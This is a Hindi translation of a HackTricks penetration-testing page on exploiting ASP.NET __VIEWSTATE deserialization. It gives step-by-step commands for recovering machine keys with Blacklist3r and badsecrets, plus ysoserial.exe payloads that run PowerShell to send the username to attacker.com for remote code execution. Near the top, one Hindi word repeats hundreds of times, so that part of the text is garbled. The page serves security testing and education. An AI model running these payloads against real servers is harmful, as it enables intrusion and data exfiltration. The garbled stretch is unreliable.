hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

32 KiB
Raw Blame History

रहस्यों को नहीं जानते हुए __VIEWSTATE का शोषण

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाई गई है! आज हमारे साथ शामिल हों https://go.intigriti.com/hacktricks और शुरू करें बाउंटी कमाना जो तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी तकनीकी

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState विशेषताएँ पहचानना

आप ViewState को MAC से सुरक्षित होने की पहचान करने के लिए BurpSuite के साथ इस पैरामीटर को शामिल एक अनुरोध को कैप्चर करके प्रयास कर सकते हैं। यदि Mac पैरामीटर को सुरक्षित करने के लिए उपयोग नहीं किया जाता है तो आप YSoSerial.Net का उपयोग करके इसे उत्पीड़ित कर सकते हैं।

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

परीक्षण मामला 1.5 परीक्षण मामला 1 की तरह, ViewState कुकी सर्वर द्वारा नहीं भेजी जाती है

डेवलपर ViewState को HTTP अनुरोध का हिस्सा नहीं बनने दे सकते (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)।
कोई यह मान सकता है कि यदि ViewState मौजूद नहीं है, तो उनका कार्यान्वयन ViewState डेसीरियलाइजेशन के साथ किसी भी संभावित सुरक्षा दोषों से सुरक्षित है।
हालांकि, ऐसा नहीं है। यदि हम अनुरोध शरीर में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरीयलाइज़ किए गए पेलोड को भेजते हैं, तो हम फिर भी कोड क्रियान्वयन हासिल कर सकेंगे जैसा कि मामला 1 में दिखाया गया है।

परीक्षण मामला: 2 .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false

एक विशिष्ट पृष्ठ के लिए ViewState MAC सक्षम करने के लिए हमें एक विशिष्ट aspx फ़ाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

हम इसे समग्र एप्लिकेशन के लिए भी कर सकते हैं इसे निम्नलिखित रूप में web.config फ़ाइल पर सेट करके:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

जैसा कि पैरामीटर MAC सुरक्षित है, इस बार हमें हमला सफलतापूर्वक करने के लिए पहले उपयोग किए गए कुंजी की आवश्यकता है।

आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके कुंजी को खोजने का प्रयास कर सकते हैं।

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets एक औजार है जो जाने वाले machineKeys की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r की तरह यह Windows dependency नहीं है। .NET viewstates के लिए, एक "python blacklist3r" उपयोग करने का सबसे तेज तरीका है।

इसे या तो viewstate और generator के साथ सीधे प्रदान किया जा सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

या, यह सीधे लक्षित URL से कनेक्ट कर सकता है और HTML से viewstate को निकालने का प्रयास कर सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

व्यूस्टेट परमीटर के वंशांकन के साथ विकल्पों की खोज करने के लिए, badsecrets BBOT मॉड्यूल का उपयोग किया जा सकता है:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

अगर आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप YSoSerial.Net: का उपयोग करके हमला कर सकते हैं।

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

जब सर्वर द्वारा _VIEWSTATEGENERATOR पैरामीटर नहीं भेजा जाता है तो आपको --generator पैरामीटर प्रदान करने की आवश्यकता नहीं है, लेकिन निम्नलिखित चाहिए:

--apppath="/" --path="/hello.aspx"

परीक्षण मामला: 3 .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true

इसमें यह नहीं पता चलता कि पैरामीटर MAC के साथ सुरक्षित है या नहीं। फिर, मान्यता संरक्षित हो सकती है और आपको इस सुरक्षा दोष का शोषण करने के लिए अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन कुंजी की आवश्यकता होगी

इस मामले में Blacklist3r मॉड्यूल विकास के अधीन है...

.NET 4.5 से पहले, ASP.NET उपयोगकर्ताओं से एक अनएन्क्रिप्टेड ___VIEWSTATE_पैरामीटर को स्वीकार कर सकता है, भले ही ViewStateEncryptionMode को हमेशा सेट किया गया हो। ASP.NET केवल अनुरोध में __VIEWSTATEENCRYPTED पैरामीटर की उपस्थिति की जांच करता है। यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो फिर भी इसे प्रोसेस किया जाएगा।

इसलिए अगर हमलावार एक तरीका ढूंढ़ लेते हैं मशीन कुंजी प्राप्त करने के लिए दूसरे दोष जैसे फ़ाइल ट्रावर्सल के माध्यम से, YSoSerial.Net मामला में उपयोग किया गया कमांड, ViewState डेसीरियलाइज़ेशन दोष का उपयोग करके RCE को करने के लिए उपयोग किया जा सकता है।

  • ViewState डेसीरियलाइज़ेशन दोष का शोषण करने के लिए अनुरोध से __VIEWSTATEENCRYPTED पैरामीटर को हटाएं, अन्यथा एक Viewstate MAC मान्यता त्रुटि लौटाएगा और दोष का शोषण विफल हो जाएगा।

परीक्षण मामला: 4 .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false केवल दोनों विशेषता को नकारें

हम ASP.NET फ्रेमवर्क का उपयोग करने को मजबूर कर सकते हैं नीचे दिखाए गए वेब.config फ़ाइल में निम्नलिखित पैरामीटर निर्दिष्ट करके।

<httpRuntime targetFramework="4.5" />

इसके विकल्प के रूप में, यह वेब.कॉन्फ़िग फ़ाइल के machineKey पैरामीटर में नीचे दिए गए विकल्प को निर्दिष्ट करके किया जा सकता है।

compatibilityMode="Framework45"

जैसा पिछले में मान एन्क्रिप्टेड है। इसके बाद, एक वैध पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता है।

आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके उपयोग की जा रही कुंजी खोजने का प्रयास कर सकते हैं:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

यहाँ से अधिक विस्तृत विवरण के लिए IISDirPath और TargetPagePath का संदर्भ देखें

या, Badsecrets (जेनरेटर मान के साथ):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

एक वैध मशीन कुंजी की पहचान होने पर, अगला कदम है YSoSerial.Net का उपयोग करके एक सीरीकृत पेलोड उत्पन्न करना

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

यदि आपके पास __VIEWSTATEGENERATOR का मान है तो आप कोशिश कर सकते हैं --generator पैरामीटर का उपयोग उस मान के साथ करके और --path और --apppath पैरामीटर को छोड़ सकते हैं।

ViewState डीसीरियलाइज़ेशन वलनरेबिलिटी का सफल शोषण एक हमलावर नियंत्रित सर्वर को बाहरी अनुरोध में ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार का शोषण एक प्रमाण का सिद्धांत (PoC) में प्रदर्शित किया जाता है जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया काम कैसे करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें के बारे में अधिक विवरण के लिए आप PoC of Successful Exploitation को समीक्षा कर सकते हैं।

परीक्षण मामला 6 ViewStateUserKeys का उपयोग हो रहा है

ViewStateUserKey गुणवत्ता का उपयोग CSRF हमले के खिलाफ रक्षा के लिए किया जा सकता है। यदि ऐसी एक कुंजी को अनुप्रयोग में परिभाषित किया गया है और हम कोशिश करते हैं कि हम उस प्रकार का ViewState पेलोड उत्पन्न करें जिसे अब तक चर्चित विधियों के साथ, तो अनुप्रयोग द्वारा पेलोड प्रसंस्कृत नहीं किया जाएगा
आपको सही ढंग से पेलोड बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:

--viewstateuserkey="randomstringdefinedintheserver"

सफल शोषण के परिणाम

सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net payload सफलतापूर्वक काम करता है तो सर्वर “500 आंतरिक सर्वर त्रुटि” के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री “इस पृष्ठ के लिए राज्य सूचना अमान्य है और यह भ्रष्ट हो सकती है” होती है और हम OOB अनुरोध प्राप्त करते हैं।

और अधिक जानकारी के लिए यहाँ देखें

संदर्भ

बग बाउंटी टिप: साइन अप करें Intigriti के लिए, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाया गया है! हमारे साथ शामिल हों https://go.intigriti.com/hacktricks आज ही, और शुरू करें बाउंटी कमाना तक $100,000 तक!

{% embed url="https://go.intigriti.com/hacktricks" %}

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: